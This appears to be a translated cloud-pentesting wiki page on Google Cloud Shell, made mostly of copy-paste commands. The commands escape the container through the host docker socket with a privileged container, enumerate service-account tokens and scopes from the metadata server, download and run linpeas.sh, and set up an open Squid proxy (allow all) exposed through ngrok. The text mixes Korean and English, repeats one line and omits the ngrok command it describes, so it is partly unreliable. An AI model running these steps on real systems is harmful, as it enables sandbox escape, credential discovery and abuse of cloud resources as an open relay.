Cloud Shell
Cloud Shell에 대한 자세한 정보는 다음을 확인하세요:
GCP - Cloud Shell Enum Container Escape
Google Cloud Shell은 컨테이너 내에서 실행되므로, 다음을 수행하여 호스트로 쉽게 탈출할 수 있습니다 :
Copy sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
이것은 구글에 의해 취약점으로 간주되지 않지만, 해당 환경에서 발생하는 일에 대한 더 넓은 시각을 제공합니다.
게다가, 호스트에서 서비스 계정 토큰을 찾을 수 있다는 점에 유의하세요:
Copy wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
다음 범위와 함께:
Copy wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
LinPEAS로 메타데이터 열거하기:
Copy cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
https://github.com/carlospolop/bf_my_gcp_permissions 를 사용한 후 권한이 발견되지 않았습니다 ...
프록시로 사용하기
구글 클라우드 셸 인스턴스를 프록시로 사용하려면 다음 명령어를 실행해야 합니다(또는 .bashrc 파일에 삽입하세요):
Copy sudo apt install -y squid
Just for let you know Squid is a http proxy server. Create a squid.conf file with the following settings:
Copy 다음 설정으로 **squid.conf** 파일을 만드세요:
Copy http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all
squid.conf 파일을 /etc/squid 로 복사합니다.
Copy sudo cp squid.conf /etc/squid
마지막으로 squid 서비스를 실행합니다:
Copy sudo service squid start
ngrok를 사용하여 프록시를 외부에서 사용할 수 있도록 하십시오:
Copy tcp:// URL를 복사한 후 실행합니다. 브라우저에서 프록시를 실행하려면 tcp:// 부분과 포트를 제거하고 포트를 브라우저 프록시 설정의 포트 필드에 입력하는 것이 좋습니다 (squid는 http 프록시 서버입니다).
시작 시 더 나은 사용을 위해 .bashrc 파일에는 다음 줄이 있어야 합니다:
Copy sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok ; ./ngrok tcp 3128
The instructions were copied from https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key . 이 페이지에서 Cloud Shell에서 데이터베이스 및 Windows와 같은 소프트웨어를 실행하는 다른 기발한 아이디어를 확인하세요.